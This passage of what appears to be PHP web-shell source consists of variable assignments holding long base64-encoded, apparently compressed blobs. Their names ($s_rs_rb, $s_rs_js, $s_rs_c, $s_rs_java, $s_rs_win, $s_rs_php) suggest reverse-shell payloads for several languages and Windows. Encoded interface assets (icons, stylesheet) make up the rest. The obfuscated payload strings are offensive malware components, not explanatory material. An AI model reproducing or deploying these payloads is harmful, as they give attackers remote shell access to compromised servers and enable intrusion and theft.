 108 $s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
 109 $s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=";
 110 $s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
 111 $s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP";
 112 $s_rs_win = "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";
 113 $s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8=";
 114 $s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC";
 115 $s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==";
 116 $s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=";
 117 $s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==";
 118 $s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C";
